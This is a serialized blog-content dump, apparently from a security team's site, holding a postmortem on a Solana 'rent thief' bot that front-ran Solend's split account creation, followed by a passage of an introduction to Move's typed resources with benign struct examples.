thief.",{"src":4639,"width":4640,"height":4641},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[17,2134],{"type":20,"children":4645,"toc":4960},[4646,4651,4657,4662,4667,4672,4678,4691,4738,4768,4777,4782,4787,4792,4798,4811,4827,4832,4837,4852,4856,4861,4876,4883,4888,4898,4905,4909,4914,4920,4925,4930,4935,4941,4946],{"type":23,"tag":24,"props":4647,"children":4648},{},[4649],{"type":28,"value":4650},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":23,"tag":61,"props":4652,"children":4654},{"id":4653},"background",[4655],{"type":28,"value":4656},"Background",{"type":23,"tag":24,"props":4658,"children":4659},{},[4660],{"type":28,"value":4661},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":23,"tag":24,"props":4663,"children":4664},{},[4665],{"type":28,"value":4666},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":23,"tag":24,"props":4668,"children":4669},{},[4670],{"type":28,"value":4671},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":23,"tag":61,"props":4673,"children":4675},{"id":4674},"the-exploit",[4676],{"type":28,"value":4677},"The Exploit",{"type":23,"tag":24,"props":4679,"children":4680},{},[4681,4683,4689],{"type":28,"value":4682},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":23,"tag":94,"props":4684,"children":4686},{"className":4685},[],[4687],{"type":28,"value":4688},"init_reserve",{"type":28,"value":4690}," function, which creates 6 new accounts to store data about the reserve:",{"type":23,"tag":84,"props":4692,"children":4693},{},[4694,4699,4704,4709,4720,4725],{"type":23,"tag":88,"props":4695,"children":4696},{},[4697],{"type":28,"value":4698},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":23,"tag":88,"props":4700,"children":4701},{},[4702],{"type":28,"value":4703},"reserve liquidity token account - holds deposited tokens",{"type":23,"tag":88,"props":4705,"children":4706},{},[4707],{"type":28,"value":4708},"fee receiver token account - account which will receive origination fees on borrows",{"type":23,"tag":88,"props":4710,"children":4711},{},[4712,4714],{"type":28,"value":4713},"reserve collateral mint account - deposit receipt token, also known as ",{"type":23,"tag":94,"props":4715,"children":4717},{"className":4716},[],[4718],{"type":28,"value":4719},"cTokens",{"type":23,"tag":88,"props":4721,"children":4722},{},[4723],{"type":28,"value":4724},"reserve collateral token account - holds users' collateral tokens",{"type":23,"tag":88,"props":4726,"children":4727},{},[4728,4730,4736],{"type":28,"value":4729},"creator collateral token account - creator's ",{"type":23,"tag":94,"props":4731,"children":4733},{"className":4732},[],[4734],{"type":28,"value":4735},"cToken",{"type":28,"value":4737}," account",{"type":23,"tag":24,"props":4739,"children":4740},{},[4741,4743,4748,4750,4755,4757,4762,4764],{"type":28,"value":4742},"Account creation and initialization are ",{"type":23,"tag":186,"props":4744,"children":4745},{},[4746],{"type":28,"value":4747},"usually",{"type":28,"value":4749}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":23,"tag":94,"props":4751,"children":4753},{"className":4752},[],[4754],{"type":28,"value":4688},{"type":28,"value":4756}," is ",{"type":23,"tag":186,"props":4758,"children":4759},{},[4760],{"type":28,"value":4761},"supposed",{"type":28,"value":4763}," to look like:\n",{"type":23,"tag":197,"props":4765,"children":4767},{"src":4766,"alt":200},"/posts/rent-thief/transacdiagram.png",[],{"type":23,"tag":24,"props":4769,"children":4770},{},[4771,4773],{"type":28,"value":4772},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":23,"tag":197,"props":4774,"children":4776},{"src":4775,"alt":200},"/posts/rent-thief/attacktransac.png",[],{"type":23,"tag":24,"props":4778,"children":4779},{},[4780],{"type":28,"value":4781},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":23,"tag":24,"props":4783,"children":4784},{},[4785],{"type":28,"value":4786},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":23,"tag":24,"props":4788,"children":4789},{},[4790],{"type":28,"value":4791},"Despite this lost cost, this is pretty annoying...",{"type":23,"tag":61,"props":4793,"children":4795},{"id":4794},"example",[4796],{"type":28,"value":4797},"Example",{"type":23,"tag":24,"props":4799,"children":4800},{},[4801,4803,4810],{"type":28,"value":4802},"Let's take a look at ",{"type":23,"tag":31,"props":4804,"children":4807},{"href":4805,"rel":4806},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[35],[4808],{"type":28,"value":4809},"a real attack",{"type":28,"value":282},{"type":23,"tag":24,"props":4812,"children":4813},{},[4814,4821,4823],{"type":23,"tag":31,"props":4815,"children":4818},{"href":4816,"rel":4817},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[35],[4819],{"type":28,"value":4820},"Transaction 1",{"type":28,"value":4822},":\n",{"type":23,"tag":197,"props":4824,"children":4826},{"alt":7,"src":4825},"https://i.imgur.com/xJvIwgc.png",[],{"type":23,"tag":24,"props":4828,"children":4829},{},[4830],{"type":28,"value":4831},"(...more accounts truncated)",{"type":23,"tag":24,"props":4833,"children":4834},{},[4835],{"type":28,"value":4836},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":23,"tag":24,"props":4838,"children":4839},{},[4840,4847,4848],{"type":23,"tag":31,"props":4841,"children":4844},{"href":4842,"rel":4843},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[35],[4845],{"type":28,"value":4846},"Attacker's Transaction",{"type":28,"value":4822},{"type":23,"tag":197,"props":4849,"children":4851},{"alt":7,"src":4850},"https://i.imgur.com/CpSKuL3.png",[],{"type":23,"tag":24,"props":4853,"children":4854},{},[4855],{"type":28,"value":4831},{"type":23,"tag":24,"props":4857,"children":4858},{},[4859],{"type":28,"value":4860},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":23,"tag":24,"props":4862,"children":4863},{},[4864,4871,4872],{"type":23,"tag":31,"props":4865,"children":4868},{"href":4866,"rel":4867},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[35],[4869],{"type":28,"value":4870},"Transaction 2",{"type":28,"value":4822},{"type":23,"tag":197,"props":4873,"children":4875},{"alt":7,"src":4874},"https://i.imgur.com/of0GIdw.png",[],{"type":23,"tag":24,"props":4877,"children":4878},{},[4879],{"type":23,"tag":197,"props":4880,"children":4882},{"alt":7,"src":4881},"https://i.imgur.com/0STSyv8.png",[],{"type":23,"tag":24,"props":4884,"children":4885},{},[4886],{"type":28,"value":4887},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":23,"tag":24,"props":4889,"children":4890},{},[4891,4897],{"type":23,"tag":31,"props":4892,"children":4895},{"href":4893,"rel":4894},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[35],[4896],{"type":28,"value":4846},{"type":28,"value":3746},{"type":23,"tag":24,"props":4899,"children":4900},{},[4901],{"type":23,"tag":197,"props":4902,"children":4904},{"alt":7,"src":4903},"https://i.imgur.com/AmSPdmy.png",[],{"type":23,"tag":24,"props":4906,"children":4907},{},[4908],{"type":28,"value":4831},{"type":23,"tag":24,"props":4910,"children":4911},{},[4912],{"type":28,"value":4913},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":23,"tag":61,"props":4915,"children":4917},{"id":4916},"impact",[4918],{"type":28,"value":4919},"Impact",{"type":23,"tag":24,"props":4921,"children":4922},{},[4923],{"type":28,"value":4924},"Rent-thieving attacks don't steal much money.",{"type":23,"tag":24,"props":4926,"children":4927},{},[4928],{"type":28,"value":4929},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":23,"tag":24,"props":4931,"children":4932},{},[4933],{"type":28,"value":4934},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":23,"tag":61,"props":4936,"children":4938},{"id":4937},"solution",[4939],{"type":28,"value":4940},"Solution",{"type":23,"tag":24,"props":4942,"children":4943},{},[4944],{"type":28,"value":4945},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":23,"tag":24,"props":4947,"children":4948},{},[4949,4951,4958],{"type":28,"value":4950},"As a more permenant solution, Solend implemented ",{"type":23,"tag":31,"props":4952,"children":4955},{"href":4953,"rel":4954},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[35],[4956],{"type":28,"value":4957},"an onchain program",{"type":28,"value":4959}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":370,"depth":370,"links":4961},[4962,4963,4964,4965,4966],{"id":4653,"depth":370,"text":4656},{"id":4674,"depth":370,"text":4677},{"id":4794,"depth":370,"text":4797},{"id":4916,"depth":370,"text":4919},{"id":4937,"depth":370,"text":4940},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":4971,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":4972,"description":4973,"author":4974,"image":4975,"date":4979,"isFeatured":18,"onBlogPage":18,"body":4980,"_type":2117,"_id":8506,"_source":2119,"_file":8507,"_stem":8508,"_extension":2122},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":4976,"height":4977,"width":4978},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":20,"children":4981,"toc":8501},[4982,4987,4992,5010,5016,5028,5127,5135,5255,5263,5285,5438,5443,5701,5723,5758,5763,5783,5788,5799,5811,6023,6035,6049,6062,6319,6331,6552,6557,6585,6731,6750,6755,7019,7031,7036,7049,7055,7060,7065,7077,7091,7096,7195,7207,7220,7493,7498,7510,7515,7568,7588,7593,8470,8474,8479,8484,8497],{"type":23,"tag":24,"props":4983,"children":4984},{},[4985],{"type":28,"value":4986},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":23,"tag":24,"props":4988,"children":4989},{},[4990],{"type":28,"value":4991},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":23,"tag":24,"props":4993,"children":4994},{},[4995,4997,5001,5003,5008],{"type":28,"value":4996},"In this piece I'll seek to discuss exactly ",{"type":23,"tag":186,"props":4998,"children":4999},{},[5000],{"type":28,"value":790},{"type":28,"value":5002}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":23,"tag":186,"props":5004,"children":5005},{},[5006],{"type":28,"value":5007},"structurally",{"type":28,"value":5009}," safer programs.",{"type":23,"tag":61,"props":5011,"children":5013},{"id":5012},"types",[5014],{"type":28,"value":5015},"Types",{"type":23,"tag":24,"props":5017,"children":5018},{},[5019,5021,5027],{"type":28,"value":5020},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":23,"tag":94,"props":5022,"children":5024},{"className":5023},[],[5025],{"type":28,"value":5026},"coin.move",{"type":28,"value":282},{"type":23,"tag":304,"props":5029,"children":5031},{"className":2234,"code":5030,"language":2233,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[5032],{"type":23,"tag":94,"props":5033,"children":5034},{"__ignoreMap":7},[5035,5043,5090,5098,5119],{"type":23,"tag":314,"props":5036,"children":5037},{"class":316,"line":317},[5038],{"type":23,"tag":314,"props":5039,"children":5040},{"style":374},[5041],{"type":28,"value":5042}," /// Main structure representing a coin/token in an account's custody.\n",{"type":23,"tag":314,"props":5044,"children":5045},{"class":316,"line":370},[5046,5051,5056,5061,5066,5071,5076,5081,5086],{"type":23,"tag":314,"props":5047,"children":5048},{"style":321},[5049],{"type":28,"value":5050}," struct",{"type":23,"tag":314,"props":5052,"children":5053},{"style":2674},[5054],{"type":28,"value":5055}," Coin",{"type":23,"tag":314,"props":5057,"children":5058},{"style":338},[5059],{"type":28,"value":5060},"\u003C",{"type":23,"tag":314,"props":5062,"children":5063},{"style":360},[5064],{"type":28,"value":5065},"phantom",{"type":23,"tag":314,"props":5067,"children":5068},{"style":2674},[5069],{"type":28,"value":5070}," CoinType",{"type":23,"tag":314,"props":5072,"children":5073},{"style":338},[5074],{"type":28,"value":5075},"> ",{"type":23,"tag":314,"props":5077,"children":5078},{"style":360},[5079],{"type":28,"value":5080},"has",{"type":23,"tag":314,"props":5082,"children":5083},{"style":360},[5084],{"type":28,"value":5085}," store",{"type":23,"tag":314,"props":5087,"children":5088},{"style":338},[5089],{"type":28,"value":1449},{"type":23,"tag":314,"props":5091,"children":5092},{"class":316,"line":380},[5093],{"type":23,"tag":314,"props":5094,"children":5095},{"style":374},[5096],{"type":28,"value":5097}," /// Amount of coin this address has.\n",{"type":23,"tag":314,"props":5099,"children":5100},{"class":316,"line":1091},[5101,5106,5110,5115],{"type":23,"tag":314,"props":5102,"children":5103},{"style":360},[5104],{"type":28,"value":5105}," value",{"type":23,"tag":314,"props":5107,"children":5108},{"style":354},[5109],{"type":28,"value":3746},{"type":23,"tag":314,"props":5111,"children":5112},{"style":2674},[5113],{"type":28,"value":5114}," u64",{"type":23,"tag":314,"props":5116,"children":5117},{"style":338},[5118],{"type":28,"value":1870},{"type":23,"tag":314,"props":5120,"children":5121},{"class":316,"line":1141},[5122],{"type":23,"tag":314,"props":5123,"children":5124},{"style":338},[5125],{"type":28,"value":5126}," }\n",{"type":23,"tag":24,"props":5128,"children":5129},{},[5130],{"type":23,"tag":186,"props":5131,"children":5132},{},[5133],{"type":28,"value":5134},"aptos",{"type":23,"tag":304,"props":5136,"children":5138},{"className":2234,"code":5137,"language":2233,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[5139],{"type":23,"tag":94,"props":5140,"children":5141},{"__ignoreMap":7},[5142,5150,5200,5217,5248],{"type":23,"tag":314,"props":5143,"children":5144},{"class":316,"line":317},[5145],{"type":23,"tag":314,"props":5146,"children":5147},{"style":374},[5148],{"type":28,"value":5149}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":23,"tag":314,"props":5151,"children":5152},{"class":316,"line":370},[5153,5157,5161,5165,5169,5174,5178,5182,5187,5191,5196],{"type":23,"tag":314,"props":5154,"children":5155},{"style":321},[5156],{"type":28,"value":5050},{"type":23,"tag":314,"props":5158,"children":5159},{"style":2674},[5160],{"type":28,"value":5055},{"type":23,"tag":314,"props":5162,"children":5163},{"style":338},[5164],{"type":28,"value":5060},{"type":23,"tag":314,"props":5166,"children":5167},{"style":360},[5168],{"type":28,"value":5065},{"type":23,"tag":314,"props":5170,"children":5171},{"style":2674},[5172],{"type":28,"value":5173}," T",{"type":23,"tag":314,"props":5175,"children":5176},{"style":338},[5177],{"type":28,"value":5075},{"type":23,"tag":314,"props":5179,"children":5180},{"style":360},[5181],{"type":28,"value":5080},{"type":23,"tag":314,"props":5183,"children":5184},{"style":360},[5185],{"type":28,"value":5186}," key",{"type":23,"tag":314,"props":5188,"children":5189},{"style":338},[5190],{"type":28,"value":778},{"type":23,"tag":314,"props":5192,"children":5193},{"style":360},[5194],{"type":28,"value":5195},"store",{"type":23,"tag":314,"props":5197,"children":5198},{"style":338},[5199],{"type":28,"value":1449},{"type":23,"tag":314,"props":5201,"children":5202},{"class":316,"line":380},[5203,5208,5212],{"type":23,"tag":314,"props":5204,"children":5205},{"style":360},[5206],{"type":28,"value":5207}," id",{"type":23,"tag":314,"props":5209,"children":5210},{"style":354},[5211],{"type":28,"value":3746},{"type":23,"tag":314,"props":5213,"children":5214},{"style":338},[5215],{"type":28,"value":5216}," UID,\n",{"type":23,"tag":314,"props":5218,"children":5219},{"class":316,"line":1091},[5220,5225,5229,5234,5238,5243],{"type":23,"tag":314,"props":5221,"children":5222},{"style":360},[5223],{"type":28,"value":5224}," balance",{"type":23,"tag":314,"props":5226,"children":5227},{"style":354},[5228],{"type":28,"value":3746},{"type":23,"tag":314,"props":5230,"children":5231},{"style":2674},[5232],{"type":28,"value":5233}," Balance",{"type":23,"tag":314,"props":5235,"children":5236},{"style":338},[5237],{"type":28,"value":5060},{"type":23,"tag":314,"props":5239,"children":5240},{"style":2674},[5241],{"type":28,"value":5242},"T",{"type":23,"tag":314,"props":5244,"children":5245},{"style":338},[5246],{"type":28,"value":5247},">\n",{"type":23,"tag":314,"props":5249,"children":5250},{"class":316,"line":1141},[5251],{"type":23,"tag":314,"props":5252,"children":5253},{"style":338},[5254],{"type":28,"value":5126},{"type":23,"tag":24,"props":5256,"children":5257},{},[5258],{"type":23,"tag":186,"props":5259,"children":5260},{},[5261],{"type":28,"value":5262},"sui",{"type":23,"tag":24,"props":5264,"children":5265},{},[5266,5268,5275,5277,5283],{"type":28,"value":5267},"Pulling an example from ",{"type":23,"tag":31,"props":5269,"children":5272},{"href":5270,"rel":5271},"https://pontem.network/",[35],[5273],{"type":28,"value":5274},"Pontem Network's",{"type":28,"value":5276}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":23,"tag":94,"props":5278,"children":5280},{"className":5279},[],[5281],{"type":28,"value":5282},"LiquidityPool",{"type":28,"value":5284}," natively embeds this type information into it's fields.",{"type":23,"tag":304,"props":5286,"children":5288},{"className":2234,"code":5287,"language":2233,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n }\n",[5289],{"type":23,"tag":94,"props":5290,"children":5291},{"__ignoreMap":7},[5292,5300,5364,5394,5423,5431],{"type":23,"tag":314,"props":5293,"children":5294},{"class":316,"line":317},[5295],{"type":23,"tag":314,"props":5296,"children":5297},{"style":374},[5298],{"type":28,"value":5299}," /// Liquidity pool with reserves.\n",{"type":23,"tag":314,"props":5301,"children":5302},{"class":316,"line":370},[5303,5308,5313,5317,5321,5326,5330,5334,5339,5343,5347,5352,5356,5360],{"type":23,"tag":314,"props":5304,"children":5305},{"style":321},[5306],{"type":28,"value":5307}," struct",{"type":23,"tag":314,"props":5309,"children":5310},{"style":2674},[5311],{"type":28,"value":5312}," LiquidityPool",{"type":23,"tag":314,"props":5314,"children":5315},{"style":338},[5316],{"type":28,"value":5060},{"type":23,"tag":314,"props":5318,"children":5319},{"style":360},[5320],{"type":28,"value":5065},{"type":23,"tag":314,"props":5322,"children":5323},{"style":2674},[5324],{"type":28,"value":5325}," X",{"type":23,"tag":314,"props":5327,"children":5328},{"style":338},[5329],{"type":28,"value":778},{"type":23,"tag":314,"props":5331,"children":5332},{"style":360},[5333],{"type":28,"value":5065},{"type":23,"tag":314,"props":5335,"children":5336},{"style":2674},[5337],{"type":28,"value":5338}," Y",{"type":23,"tag":314,"props":5340,"children":5341},{"style":338},[5342],{"type":28,"value":778},{"type":23,"tag":314,"props":5344,"children":5345},{"style":360},[5346],{"type":28,"value":5065},{"type":23,"tag":314,"props":5348,"children":5349},{"style":338},[5350],{"type":28,"value":5351}," LP> ",{"type":23,"tag":314,"props":5353,"children":5354},{"style":360},[5355],{"type":28,"value":5080},{"type":23,"tag":314,"props":5357,"children":5358},{"style":360},[5359],{"type":28,"value":5186},{"type":23,"tag":314,"props":5361,"children":5362},{"style":338},[5363],{"type":28,"value":1449},{"type":23,"tag":314,"props":5365,"children":5366},{"class":316,"line":380},[5367,5372,5376,5380,5384,5389],{"type":23,"tag":314,"props":5368,"children":5369},{"style":360},[5370],{"type":28,"value":5371}," coin_x_reserve",{"type":23,"tag":314,"props":5373,"children":5374},{"style":354},[5375],{"type":28,"value":3746},{"type":23,"tag":314,"props":5377,"children":5378},{"style":2674},[5379],{"type":28,"value":5055},{"type":23,"tag":314,"props":5381,"children":5382},{"style":338},[5383],{"type":28,"value":5060},{"type":23,"tag":314,"props":5385,"children":5386},{"style":2674},[5387],{"type":28,"value":5388},"X",{"type":23,"tag":314,"props":5390,"children":5391},{"style":338},[5392],{"type":28,"value":5393},">,\n",{"type":23,"tag":314,"props":5395,"children":5396},{"class":316,"line":1091},[5397,5402,5406,5410,5414,5419],{"type":23,"tag":314,"props":5398,"children":5399},{"style":360},[5400],{"type":28,"value":5401}," coin_y_reserve",{"type":23,"tag":314,"props":5403,"children":5404},{"style":354},[5405],{"type":28,"value":3746},{"type":23,"tag":314,"props":5407,"children":5408},{"style":2674},[5409],{"type":28,"value":5055},{"type":23,"tag":314,"props":5411,"children":5412},{"style":338},[5413],{"type":28,"value":5060},{"type":23,"tag":314,"props":5415,"children":5416},{"style":2674},[5417],{"type":28,"value":5418},"Y",{"type":23,"tag":314,"props":5420,"children":5421},{"style":338},[5422],{"type":28,"value":5393},{"type":23,"tag":314,"props":5424,"children":5425},{"class":316,"line":1141},[5426],{"type":23,"tag":314,"props":5427,"children":5428},{"style":374},[5429],{"type":28,"value":5430}," // ...\n",{"type":23,"tag":314,"props":5432,"children":5433},{"class":316,"line":1173},[5434],{"type":23,"tag":314,"props":5435,"children":5436},{"style":338},[5437],{"type":28,"value":2610},{"type":23,"tag":24,"props":5439,"children":5440},{},[5441],{"type":28,"value":5442},"This has the advantage of aligning type information at compile time. It would be difficult to accidentally pass in the wrong type of coin to a function.",{"type":23,"tag":304,"props":5444,"children":5446},{"className":2234,"code":5445,"language":2233,"meta":7,"style":7}," public fun mint\u003CX, Y, LP>(\n pool_addr: address,\n coin_x: Coin\u003CX>,\n coin_y: Coin\u003CY>\n ): Coin\u003CLP> acquires LiquidityPool, EventsStore {\n // ...\n\n let (x_reserve_size, y_reserve_size) = get_reserves_size\u003CX, Y, LP>(pool_addr);\n",[5447],{"type":23,"tag":94,"props":5448,"children":5449},{"__ignoreMap":7},[5450,5489,5510,5538,5566,5617,5625,5632],{"type":23,"tag":314,"props":5451,"children":5452},{"class":316,"line":317},[5453,5458,5463,5468,5472,5476,5480,5484],{"type":23,"tag":314,"props":5454,"children":5455},{"style":360},[5456],{"type":28,"value":5457}," public",{"type":23,"tag":314,"props":5459,"children":5460},{"style":360},[5461],{"type":28,"value":5462}," fun",{"type":23,"tag":314,"props":5464,"children":5465},{"style":360},[5466],{"type":28,"value":5467}," mint",{"type":23,"tag":314,"props":5469,"children":5470},{"style":338},[5471],{"type":28,"value":5060},{"type":23,"tag":314,"props":5473,"children":5474},{"style":2674},[5475],{"type":28,"value":5388},{"type":23,"tag":314,"props":5477,"children":5478},{"style":338},[5479],{"type":28,"value":778},{"type":23,"tag":314,"props":5481,"children":5482},{"style":2674},[5483],{"type":28,"value":5418},{"type":23,"tag":314,"props":5485,"children":5486},{"style":338},[5487],{"type":28,"value":5488},", LP>(\n",{"type":23,"tag":314,"props":5490,"children":5491},{"class":316,"line":370},[5492,5497,5501,5506],{"type":23,"tag":314,"props":5493,"children":5494},{"style":360},[5495],{"type":28,"value":5496}," pool_addr",{"type":23,"tag":314,"props":5498,"children":5499},{"style":354},[5500],{"type":28,"value":3746},{"type":23,"tag":314,"props":5502,"children":5503},{"style":360},[5504],{"type":28,"value":5505}," address",{"type":23,"tag":314,"props":5507,"children":5508},{"style":338},[5509],{"type":28,"value":1870},{"type":23,"tag":314,"props":5511,"children":5512},{"class":316,"line":380},[5513,5518,5522,5526,5530,5534],{"type":23,"tag":314,"props":5514,"children":5515},{"style":360},[5516],{"type":28,"value":5517}," coin_x",{"type":23,"tag":314,"props":5519,"children":5520},{"style":354},[5521],{"type":28,"value":3746},{"type":23,"tag":314,"props":5523,"children":5524},{"style":2674},[5525],{"type":28,"value":5055},{"type":23,"tag":314,"props":5527,"children":5528},{"style":338},[5529],{"type":28,"value":5060},{"type":23,"tag":314,"props":5531,"children":5532},{"style":2674},[5533],{"type":28,"value":5388},{"type":23,"tag":314,"props":5535,"children":5536},{"style":338},[5537],{"type":28,"value":5393},{"type":23,"tag":314,"props":5539,"children":5540},{"class":316,"line":1091},[5541,5546,5550,5554,5558,5562],{"type":23,"tag":314,"props":5542,"children":5543},{"style":360},[5544],{"type":28,"value":5545}," coin_y",{"type":23,"tag":314,"props":5547,"children":5548},{"style":354},[5549],{"type":28,"value":3746},{"type":23,"tag":314,"props":5551,"children":5552},{"style":2674},[5553],{"type":28,"value":5055},{"type":23,"tag":314,"props":5555,"children":5556},{"style":338},[5557],{"type":28,"value":5060},{"type":23,"tag":314,"props":5559,"children":5560},{"style":2674},[5561],{"type":28,"value":5418},{"type":23,"tag":314,"props":5563,"children":5564},{"style":338},[5565],{"type":28,"value":5247},{"type":23,"tag":314,"props":5567,"children":5568},{"class":316,"line":1141},[5569,5574,5578,5582,5586,5591,5595,5600,5604,5608,5613],{"type":23,"tag":314,"props":5570,"children":5571},{"style":338},[5572],{"type":28,"value":5573}," )",{"type":23,"tag":314,"props":5575,"children":5576},{"style":354},[5577],{"type":28,"value":3746},{"type":23,"tag":314,"props":5579,"children":5580},{"style":2674},[5581],{"type":28,"value":5055},{"type":23,"tag":314,"props":5583,"children":5584},{"style":338},[5585],{"type":28,"value":5060},{"type":23,"tag":314,"props":5587,"children":5588},{"style":2674},[5589],{"type":28,"value":5590},"LP",{"type":23,"tag":314,"props":5592,"children":5593},{"style":338},[5594],{"type":28,"value":5075},{"type":23,"tag":314,"props":5596,"children":5597},{"style":360},[5598],{"type":28,"value":5599},"acquires",{"type":23,"tag":314,"props":5601,"children":5602},{"style":2674},[5603],{"type":28,"value":5312},{"type":23,"tag":314,"props":5605,"children":5606},{"style":338},[5607],{"type":28,"value":778},{"type":23,"tag":314,"props":5609,"children":5610},{"style":2674},[5611],{"type":28,"value":5612},"EventsStore",{"type":23,"tag":314,"props":5614,"children":5615},{"style":338},[5616],{"type":28,"value":1449},{"type":23,"tag":314,"props":5618,"children":5619},{"class":316,"line":1173},[5620],{"type":23,"tag":314,"props":5621,"children":5622},{"style":374},[5623],{"type":28,"value":5624}," // ...\n",{"type":23,"tag":314,"props":5626,"children":5627},{"class":316,"line":1208},[5628],{"type":23,"tag":314,"props":5629,"children":5630},{"emptyLinePlaceholder":18},[5631],{"type":28,"value":1088},{"type":23,"tag":314,"props":5633,"children":5634},{"class":316,"line":1216},[5635,5640,5644,5649,5653,5658,5662,5666,5671,5675,5679,5683,5687,5692,5697],{"type":23,"tag":314,"props":5636,"children":5637},{"style":321},[5638],{"type":28,"value":5639}," let",{"type":23,"tag":314,"props":5641,"children":5642},{"style":338},[5643],{"type":28,"value":2324},{"type":23,"tag":314,"props":5645,"children":5646},{"style":360},[5647],{"type":28,"value":5648},"x_reserve_size",{"type":23,"tag":314,"props":5650,"children":5651},{"style":338},[5652],{"type":28,"value":778},{"type":23,"tag":314,"props":5654,"children":5655},{"style":360},[5656],{"type":28,"value":5657},"y_reserve_size",{"type":23,"tag":314,"props":5659,"children":5660},{"style":338},[5661],{"type":28,"value":2343},{"type":23,"tag":314,"props":5663,"children":5664},{"style":354},[5665],{"type":28,"value":1102},{"type":23,"tag":314,"props":5667,"children":5668},{"style":360},[5669],{"type":28,"value":5670}," get_reserves_size",{"type":23,"tag":314,"props":5672,"children":5673},{"style":338},[5674],{"type":28,"value":5060},{"type":23,"tag":314,"props":5676,"children":5677},{"style":2674},[5678],{"type":28,"value":5388},{"type":23,"tag":314,"props":5680,"children":5681},{"style":338},[5682],{"type":28,"value":778},{"type":23,"tag":314,"props":5684,"children":5685},{"style":2674},[5686],{"type":28,"value":5418},{"type":23,"tag":314,"props":5688,"children":5689},{"style":338},[5690],{"type":28,"value":5691},", LP>(",{"type":23,"tag":314,"props":5693,"children":5694},{"style":360},[5695],{"type":28,"value":5696},"pool_addr",{"type":23,"tag":314,"props":5698,"children":5699},{"style":338},[5700],{"type":28,"value":1025},{"type":23,"tag":24,"props":5702,"children":5703},{},[5704,5706,5712,5714,5721],{"type":28,"value":5705},"As an aside, this generic type information is implemented at runtime in the 